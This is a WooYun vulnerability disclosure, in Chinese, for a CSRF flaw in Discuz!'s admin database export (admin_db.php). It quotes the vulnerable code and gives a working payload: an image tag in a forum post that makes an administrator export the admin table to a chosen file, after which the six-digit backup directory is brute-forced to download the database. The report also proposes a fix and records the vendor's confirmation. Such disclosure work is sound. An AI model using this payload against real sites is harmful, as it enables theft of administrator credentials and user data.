当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064886

漏洞标题:Discuz可CSRF脱裤

相关厂商:Discuz!

漏洞作者: Matt

提交时间:2014-06-14 10:58

修复时间:2014-09-12 11:00

公开时间:2014-09-12 11:00

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-14: 细节已通知厂商并且等待厂商处理中
2014-06-16: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向第三方安全合作伙伴开放
2014-08-10: 细节向核心白帽子及相关领域专家公开
2014-08-20: 细节向普通白帽子公开
2014-08-30: 细节向实习白帽子公开
2014-09-12: 细节向公众公开

简要描述:

Discuz CSRF脱裤!
广告位 承接代码审计 codescan.cn codescan#yeah.net

详细说明:

admin_db.php
if(!$backupdir) {
$backupdir = random(6);
@mkdir('./data/backup_'.$backupdir, 0777);//文件夹名是六位随机数
C::t('common_setting')->update('backupdir',$backupdir);/


} else {//这边也没有做fromhash的验证 估计是方便AJAX请求~
DB::query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');
if(!$_GET['filename'] || !preg_match('/^[\w\_]+$/', $_GET['filename'])) {
cpmsg('database_export_filename_invalid', '', 'error');
}
$time = dgmdate(TIMESTAMP);
if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc') {
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
} elseif($_GET['type'] == 'custom') {
$tables = array();
if(empty($_GET['setup'])) {
$tables = C::t('common_setting')->fetch('custombackup', true);
} else {
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
}
if( !is_array($tables) || empty($tables)) {
cpmsg('database_export_custom_invalid', '', 'error');
}
}
$memberexist = array_search(DB::table('common_member'), $tables);
if($memberexist !== FALSE) {
unset($tables[$memberexist]);
array_unshift($tables, DB::table('common_member'));
}
$volume = intval($_GET['volume']) + 1;
$idstring = '# Identify: '.base64_encode("$_G[timestamp],".$_G['setting']['version'].",{$_GET['type']},{$_GET['method']},{$volume},{$tablepre},{$dbcharset}")."\n";
$dumpcharset = $_GET['sqlcharset'] ? $_GET['sqlcharset'] : str_replace('-', '', $_G['charset']);
$setnames = ($_GET['sqlcharset'] && $db->version() > '4.1' && (!$_GET['sqlcompat'] || $_GET['sqlcompat'] == 'MYSQL41')) ? "SET NAMES '$dumpcharset';\n\n" : '';
if($db->version() > '4.1') {
if($_GET['sqlcharset']) {
DB::query('SET NAMES %s', array($_GET['sqlcharset']));
}
if($_GET['sqlcompat'] == 'MYSQL40') {
DB::query("SET SQL_MODE='MYSQL40'");
} elseif($_GET['sqlcompat'] == 'MYSQL41') {
DB::query("SET SQL_MODE=''");
}
}
$backupfilename = './data/'.$backupdir.'/'.str_replace(array('/', '\\', '.', "'"), '', $_GET['filename']);//文件名可控
if($_GET['usezip']) {
require_once './source/class/class_zip.php';
}
if($_GET['method'] == 'multivol') {
$sqldump = '';
$tableid = intval($_GET['tableid']);
$startfrom = intval($_GET['startfrom']);
if(!$tableid && $volume == 1) {
foreach($tables as $table) {
$sqldump .= sqldumptablestruct($table);
}
}
$complete = TRUE;
for(; $complete && $tableid < count($tables) && strlen($sqldump) + 500 < $_GET['sizelimit'] * 1000; $tableid++) {
$sqldump .= sqldumptable($tables[$tableid], $startfrom, strlen($sqldump));
if($complete) {
$startfrom = 0;
}
}
$dumpfile = $backupfilename."-%s".'.sql';
!$complete && $tableid--;
if(trim($sqldump)) {
$sqldump = "$idstring".
"# <?php exit();?>\n".
"# Discuz! Multi-Volume Data Dump Vol.$volume\n".
"# Version: Discuz! {$_G[setting][version]}\n".
"# Time: $time\n".
"# Type: {$_GET['type']}\n".
"# Table Prefix: $tablepre\n".
"#\n".
"# Discuz! Home: http://www.discuz.com\n".
"# Please visit our website for newest infomation about Discuz!\n".
"# --------------------------------------------------------\n\n\n".
"$setnames".
$sqldump;
$dumpfilename = sprintf($dumpfile, $volume);

@$fp = fopen($dumpfilename, 'wb');
@flock($fp, 2);
if(@!fwrite($fp, $sqldump)) {

@fclose($fp);
cpmsg('database_export_file_invalid', '', 'error');
} else {
fclose($fp);
if($_GET['usezip'] == 2) {
$fp = fopen($dumpfilename, "r");
$content = @fread($fp, filesize($dumpfilename));
fclose($fp);
$zip = new zipfile();
$zip->addFile($content, basename($dumpfilename));//写出
$fp = fopen(sprintf($backupfilename."-%s".'.zip', $volume), 'w');
if(@fwrite($fp, $zip->file()) !== FALSE) {
@unlink($dumpfilename);
}
echo $dumpfilename;exit();
fclose($fp);
}
unset($sqldump, $zip, $content);

漏洞证明:

利用方法
前台发贴插入SRC
<img src="http://127.0.0.1/x32/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%
5D=pre_ucenter_admins&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=ssccad&exportsubmit=%CC%
E1%BD%BB22">
其中表明和文件名可控
缺少一个dir的name
但是dir是一个6位纯数字
data/backup_123456/xxx.sql
这样我们可以对这个数字进行暴力破解
就可以了
6位数字 跑个一宿还是能出来的 直接脱裤啊

QQ截图20140614105047.jpg

修复方案:

验证fromhash

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-16 09:22

厂商回复:

感谢您提出的问题,我们尽快予以修复

最新状态:

暂无